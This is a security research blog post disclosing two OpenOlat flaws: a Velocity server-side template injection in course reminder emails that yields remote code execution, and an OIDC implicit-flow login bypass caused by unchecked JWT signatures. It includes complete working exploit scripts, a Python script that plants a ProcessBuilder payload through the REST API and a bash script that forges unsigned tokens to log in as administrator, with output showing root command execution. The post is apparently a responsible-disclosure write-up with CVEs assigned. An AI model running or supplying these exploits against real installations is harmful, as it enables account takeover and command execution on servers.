OpenOlat - RCE via Server-side Template Injection (SSTI) and OIDC Auth Bypass

Posted on March 31, 2026 by maik

Summary

We identified an exploitable SSTI within OpenOlat that allowed for code execution on the host for authenticated users with authoring permissions. Additionally, an authentication bypass in the OIDC implicit flow implementation was identified, that allowed us to log in as an arbitrary user or administrator. Chaining the exploits for these vulnerabilities together, allows an unauthenticated user to execute commands on the host.

RCE via SSTI

During some internal research, we wanted to change the target for a bit to allow for some break and maybe come back with new ideas for the original target. Since the last exposure is already two years ago, we decided to visit our old friend OpenOlat again.

As some time has passed and meanwhile a few things changed, we decided to get an overview of the application. While playing around with course creation, we came across the following form while creating reminders for a course:

This was a subtle invitation for us to look a bit more closely. And sure enough we wanted to do some quick maths that was too hard to solve by hand and entered #set($jrn=42+23)$jrn as subject.

As in our local OpenOlat instance, mail delivery was configured to store mails in the database instead of actually sending them we checked the database and we confirmed that we successfully built a calculator:

openolat=# select m.subject, m.creationdate from o_mail m order by m.creationdate DESC limit 1;
 subject |      creationdate
---------+-------------------------
 65      | 2026-02-25 12:55:16.943

Providing more convoluted payloads failed so we decided to check the source code.

Analysis

Digging through the course module we identified that the reminder handling is implemented by the ReminderServiceImpl in the method sendReminder:

@Override
public MailerResult sendReminder(Reminder reminder, List<Identity> identitiesToRemind) {
    ...
    String subject = reminder.getEmailSubject();
    String body = reminder.getEmailBody();
    ...
    for(Identity identityToRemind:identitiesToRemind) {
        ...
        CourseReminderTemplate template = new CourseReminderTemplate(subject, body, url, entry, locale, lifecycleDao);
        MailBundle bundle = mailManager.makeMailBundle(context, identityToRemind, template, null, metaId, overviewResult);
        ...
    }
    ...
}

This retrieves the subject and body from the database and creates a CourseReminderTemplate, a sub-class of MailTemplate and then passes this template to makeMailBundle.

public class CourseReminderTemplate extends MailTemplate {
...
    public CourseReminderTemplate(String subjectTemplate, String bodyTemplate, String url, RepositoryEntry entry,
            Locale locale, RepositoryEntryLifecycleDAO lifecycleDAO) {
        super(subjectTemplate, bodyTemplate, null);
        this.url = url;
        this.entry = entry;
        this.locale = locale;
        this.lifecycleDAO = lifecycleDAO;
    }
...
}

The MailTemplate constructor instantiates a VelocityContext and we can already guess where this will lead us:

public MailTemplate(String subjectTemplate, String bodyTemplate, File[] attachments) {
    this.subjectTemplate = subjectTemplate;
    this.bodyTemplate = bodyTemplate;
    this.attachments = attachments;
    this.context = new VelocityContext();
    this.cpfrom = true;
}

After creating the template, it is passed to makeMailBundle implemented in the MailManagerImpl. This creates the actual MailContent by calling createWithContext, passing the user-controlled template:

@Override
public MailBundle makeMailBundle(MailContext ctxt, Identity recipientTo,
        MailTemplate template, Identity sender, String metaId, MailerResult result) {	

    MailBundle bundle;
    if(recipientTo != null && MailHelper.isDisabledMailAddress(recipientTo, result)) {
        bundle = null;//email disabled, nothing to do
    } else {
        MailContent msg = createWithContext(recipientTo, template, result);
        ...
    }
    return bundle;
}

The method createWithContext, calls evaluate providing either a context stored in the template or a fresh one:

protected MailContent createWithContext(Identity recipient, MailTemplate template, MailerResult result) {
    VelocityContext context;
    if(template.getContext() != null) {
        context = new VelocityContext(template.getContext());
    } else {
        context = new VelocityContext();
    }
    ...
    // merge subject template with context variables
    StringWriter subjectWriter = new StringWriter();
    evaluate(context, template.getSubjectTemplate(), subjectWriter, result);
    // merge body template with context variables
    StringWriter bodyWriter = new StringWriter();
    evaluate(context, template.getBodyTemplate(), bodyWriter, result);
    ...
}

Eventually, in evaluate the user-controlled template is passed to VelocityEngine.evaluate.

protected void evaluate(Context context, String template, StringWriter writer, MailerResult mailerResult) {
    try {
        if(StringHelper.containsNonWhitespace(template)) {
            boolean result = velocityEngine.evaluate(context, writer, "mailTemplate", template);
            ...
}

Please note that no sanitization of the retrieved data retrieved from the database was performed and that no introspector such as SecureUberspector was configured.

Having identified the sink, we checked how data gets stored in the database.

We identified that using the REST API the data is persisted without validation:

@PUT
...
public Response putReminder(ReminderVO reminder, @Context HttpServletRequest httpRequest) {
    if(!administrator) {
        return Response.serverError().status(Status.FORBIDDEN).build();
    }
    Reminder updatedReminder = saveReminder(reminder, httpRequest);
    return Response.ok(ReminderVO.valueOf(updatedReminder, entry.getKey())).build();
}
...
private Reminder saveReminder(ReminderVO reminderVo, HttpServletRequest httpRequest) {
    Identity creator = getIdentity(httpRequest);

    Reminder reminder;
    if(reminderVo.getKey() == null) {
        reminder = reminderService.createReminder(entry, creator);
    } else {
        reminder = reminderService.loadByKey(reminderVo.getKey());
    }

    reminder.setDescription(reminderVo.getDescription());
    reminder.setEmailSubject(reminderVo.getEmailSubject());
    reminder.setEmailBody(reminderVo.getEmailBody());
    ...
    return reminderService.save(reminder);
}

This was enough to demonstrate impact. Don’t be fooled by the administrator check; the naming is misleading as the check also is true for course owners and therefore users having the Author role.

It has to be noted that exploitation via UI should still be possible, as the data is only sanitized using an HTML sanitizer. However, for the purpose of demonstration we used the REST API as a source to avoid having to fiddle around too much with the payload.

Exploitation

The exploitation of this vulnerability is pretty straight forward for a user having the Author role assigned.

The general exploit idea is as follows:

  1. Create a course via REST API
  2. Create a reminder via REST API while delivering the payload in the subject
  3. Either wait for the cron job to trigger or manually trigger the reminders via UI

The following Python script handles step 1 and 2:

#!/usr/bin/env python3
# OpenOLAT Velocity SSTI via Reminders REST API

import argparse
import sys
import requests

HEADERS = {"Content-Type": "application/json", "Accept": "application/json"}

def make_payload(cmd):
    return (
        '#set($s = "")'
        '#set($cmd = ["sh", "-c", "' + cmd.replace('\\', '\\\\').replace('"', '\\"') + '"])'
        '#set($pb = $s.class.forName("java.lang.ProcessBuilder"))'
        '#set($con = $pb.getDeclaredConstructor($s.class.forName("java.util.List")))'
        '#set($p = $con.newInstance($cmd))'
        '$p.start()'
    )


def create_course(session, base):
    r = session.put(f"{base}/repo/courses", json={
        "title": "SSTI PoC Course",
        "repoEntryStatus": "published",
    }, headers=HEADERS)
    r.raise_for_status()
    course = r.json()
    print(f"[+] Course created: key={course['key']}")
    return course["key"]


def create_reminder(session, base, course_key, payload):
    r = session.put(f"{base}/repo/courses/{course_key}/reminders", json={
        "description": "PoC",
        "emailSubject": "JRN",
        "emailBody": payload,
        "rules": [{
            "type": "DateRuleSPI",
            "operator": ">",
            "rightOperand": "2026-01-01T13:33:37",
        }],
    }, headers=HEADERS)
    r.raise_for_status()
    reminder = r.json()
    print(f"[+] Reminder created: key={reminder['key']}")
    print(f"[+] Payload: {payload}")
    return reminder["key"]


def main():
    parser = argparse.ArgumentParser(description="OpenOLAT SSTI PoC")
    parser.add_argument("--base", default="http://localhost:8080/olat/restapi",
                        help="REST API base URL")
    parser.add_argument("--user", required=True, help="Username")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--cmd", default="touch /tmp/jrned",
                        help="Command to execute via Runtime.exec()")
    args = parser.parse_args()

    s = requests.Session()
    s.auth = (args.user, args.password)

    payload = make_payload(args.cmd)
    course_key = create_course(s, args.base)
    create_reminder(s, args.base, course_key, payload)

    print("[*] Trigger the reminder send via:")
    print("    UI: Course > Administration > Reminders > Send")
    print("    Or wait for ReminderJob (daily 09:00)")

if __name__ == "__main__":
    main()

Let’s see how this looks in action!

First, we check that the /tmp directory is empty:

root@7e32865f52f8:/usr/local/tomcat# ls /tmp
hsperfdata_root

Then, we start the exploit script, providing author credentials and the command id > /tmp/JRNed:

𝝺 python3 exploit_ssti.py --base http://localhost:8080/olat/restapi --user XXX --password 'XXX' --cmd 'id > /tmp/JRNed'
[+] Course created: key=113405121044847
[+] Reminder created: key=1114126
[+] Payload: #set($s = "")#set($cmd = ["sh", "-c", "id > /tmp/JRNed"])#set($pb = $s.class.forName("java.lang.ProcessBuilder"))#set($con = $pb.getDeclaredConstructor($s.class.forName("java.util.List")))#set($p = $con.newInstance($cmd))$p.start()
[*] Trigger the reminder send via:
    UI: Course > Administration > Reminders > Send
    Or wait for ReminderJob (daily 09:00)

Next, we log into the web interface using the same user and identify the created course:

In the course details we navigate to the reminders of the course:

We, then, send the reminders to all members:

Eventually, we inspect the /tmp directory and see that indeed a file was created and our payload was executed.

root@7e32865f52f8:/usr/local/tomcat# ls /tmp
hsperfdata_root  JRNed
root@7e32865f52f8:/usr/local/tomcat# cat /tmp/JRNed
uid=0(root) gid=0(root) groups=0(root)

Variant Analysis

A brief analysis identified additional variants of this flaw. The following list provides additional SSTI sinks that should be analyzed as user-controlled data might reach them:

Sink Entry Point
MailManagerImpl:908 Reminder emailSubject/emailBody
MailManagerImpl:908 Grading config notification/reminder subject/body
MailManagerImpl:908 IQ Test node confirmation email subject/body
MailManagerImpl:908 GTA node submission email body
MailManagerImpl:908 Contact form node default subject/body
MailManagerImpl:908 CP notification subject/body
VelocityHelper:186 Task node dropbox confirmation message
UserBulkChangeManager:384 Bulk user change property values
CertificatePdfServiceWorker:163 Certificate HTML template upload

It has to be noted that this list might not be complete.

How Nice Would it be if…

… we could find an authentication bypass. So we decided to have a look at the OAuth implementation and stumbled over the following code in src/main/java/org/olat/login/oauth/spi/JSONWebToken.java:

public static JSONWebToken parse(String accessToken) throws JSONException {
    try {
        int firstIndex = accessToken.indexOf('.');
        int secondIndex = accessToken.indexOf('.', firstIndex + 1);
        String header = StringHelper.decodeBase64(accessToken.substring(0, firstIndex));
        String payload = decodeBase64(accessToken.substring(firstIndex + 1, secondIndex));
        log.debug("JWT Payload: {}", payload);
        JSONObject jsonPayload = new JSONObject(payload);
        return new JSONWebToken(header, payload, jsonPayload);
    } catch (JSONException e) {
        log.error("Cannot parse token: {}", accessToken);
        throw e;
    } catch (Exception e) {
        log.error("Cannot parse token: {}", accessToken);
        throw new JSONException(e);
    }
}

JSONWebToken.parse() splits the compact JWT (header.payload.signature) on . delimiters but only decodes the header and payload. The third segment (the signature) is silently dropped and never stored, returned, or checked. The JSONWebToken object stores only header, payload, and jsonPayload. There is no field for the signature. Any string after the second . is accepted. This is certainly a flaw. So we wanted to find out how to exploit this fact. And we directly thought about the OIDC implicit flow, despite it being deprecated more or less.

The OpenIdConnectService.getAccessToken(), implemented in src/main/java/org/olat/login/oauth/spi/OpenIdConnectApi.java, uses the parse method, so we had a look at it:

public OAuth2AccessToken getAccessToken(OpenIDVerifier oVerifier) {
    OAuthLoginModule oauthModule = CoreSpringFactory.getImpl(OAuthLoginModule.class);
    try {
        String idToken = oVerifier.getIdToken();
        JSONObject idJson = JSONWebToken.parse(idToken).getJsonPayload();
        JSONObject accessJson = JSONWebToken.parse(oVerifier.getAccessToken()).getJsonPayload();

        boolean allOk = true;
        if(!oauthModule.getOpenIdConnectIFIssuer().equals(idJson.get("iss"))
                || !oauthModule.getOpenIdConnectIFIssuer().equals(accessJson.get("iss"))) {
            allOk &= false;
            log.info("iss don't match issuer");
        }

        if(!getApiKey().equals(idJson.get("aud"))) {
            allOk &= false;
            log.info("aud don't match application key");
        }
        if(!oVerifier.getState().equals(oVerifier.getSessionState())) {
            allOk &= false;
            log.info("state doesn't match session state");
        }

        if(!oVerifier.getSessionNonce().equals(idJson.get("nonce"))) {
            allOk &= false;
            log.info("session nonce don't match verifier nonce");
        }

        return allOk ? new OAuth2AccessToken(idToken, oVerifier.getState()) : null;
    } catch (JSONException e) {
        log.error("", e);
        return null;
    }
}

After parsing, the OpenIdConnectService.getAccessToken() method performs four checks on the decoded claims, but none of them involve the JWT signature or any cryptographic material such as JWKS or a shared secret. So no check against the IdP’s JWKS endpoint is performed. The identical pattern exists in OpenIdConnectFullConfigurableApi.OpenIdConnectFullConfigurableService.getAccessToken(). Thus, all custom-configured OIDC providers with implicit flow are equally vulnerable.

Exploitation

Exploitation of this issue is again pretty straight forward:

  1. Initiate a legitimate OAuth flow. This creates a server-side OAuthSession with a state and nonce.
  2. Capture session values. The redirect to the IdP authorize endpoint contains the state, nonce, and redirect_uri in the URL.
  3. Forge the JWT. Construct an id_token and access_token.
  4. POST to the callback. Submit a form POST to /oauthcallback with expected parameters.
  5. OpenOLAT parses the JWT, validates iss/aud/state/nonce against attacker-controlled values, and issues an authenticated session for the target identity.
  6. Use the new JSESSIONID and profit!

The following Proof-of-Concept helps with the exploitation:

#!/bin/bash
JSESSIONID="$1"
STATE="$2"
NONCE="$3"
SUB="${4:-administrator}"

TARGET="${TARGET:-http://localhost:8080/olat}"
ISSUER="${ISSUER:-http://localhost:8180/realms/openolat}"
CLIENT_ID="${CLIENT_ID:-openolat-test-client}"

if [ -z "$JSESSIONID" ] || [ -z "$STATE" ] || [ -z "$NONCE" ]; then
  echo "Usage: $0 <jsessionid> <state> <nonce> [victim_sub]" >&2
  exit 1
fi

b64url() { echo -n "$1" | base64 -w0 | tr '+/' '-_' | tr -d '='; }

HEADER=$(b64url '{"alg":"HS256","typ":"JWT"}')
PAYLOAD=$(b64url "{\"iss\":\"$ISSUER\",\"aud\":\"$CLIENT_ID\",\"sub\":\"$SUB\",\"nonce\":\"$NONCE\",\"iat\":$(date +%s),\"exp\":$(($(date +%s)+3600))}")
JWT="$HEADER.$PAYLOAD.AAAA"

RESP=$(curl -si -b "JSESSIONID=$JSESSIONID" \
  -d "id_token=$JWT&access_token=$JWT&state=$STATE" \
  "$TARGET/oauthcallback")

# Server may rotate the session or keep the existing one
NEW_JSESSIONID=$(echo "$RESP" | grep -oi 'JSESSIONID=[^;]*' | tail -1 | cut -d= -f2)
SID="${NEW_JSESSIONID:-$JSESSIONID}"

if echo "$RESP" | grep -q 'window.location.replace'; then
  echo "[+] Authenticated as: $SUB"
  echo "[+] JSESSIONID=$SID"
  echo "[+] Open: $TARGET/auth/ with this cookie"
else
  echo "[-] Exploit failed" >&2
  echo "$RESP" >&2
  exit 1
fi

Now we can exploit this issue on an OpenOlat instance that is configured to use OIDC implicit flow, e.g., using a Keycloak instance.

First, we navigate to the OpenOlat login page and retrieve a JSESSIONID from the response, e.g. by inspecting it in Burp:

Then, we click the “Open ID Connect” button to initiate the implicit flow and retrieve the state and nonce from the request, for example in Burp:

Now, we use the exploit by providing the retrieved arguments:

𝝺 bash exploit.sh CF907E10AA2FF536B7054B209EF3C801 5bc42b6f599e41469f5814987c9bf4ec 9d440ce7-71d6-461d-ac25-354d754a4061
[+] Authenticated as: administrator
[+] JSESSIONID=CF907E10AA2FF536B7054B209EF3C801
[+] Open: http://localhost:8080/olat/auth/ with this cookie

Finally, we visit /olat/auth to confirm that our session is now authenticated and we are logged in as administrator: Please note, that Tomcat presumably reuses our original session id.

Despite being mostly deprecated, the implicit flow is still in use out there. This issue shows the relevance of following security best practices and why signatures actually matter.

It has to be noted, however, that the OIDC authentication bypass’ impact can only be rated as low as the implicit flow is almost never used in real world installations of OpenOlat.

Disclosure

The issues have been assigned CVE-2026-28228 and CVE-2026-31946.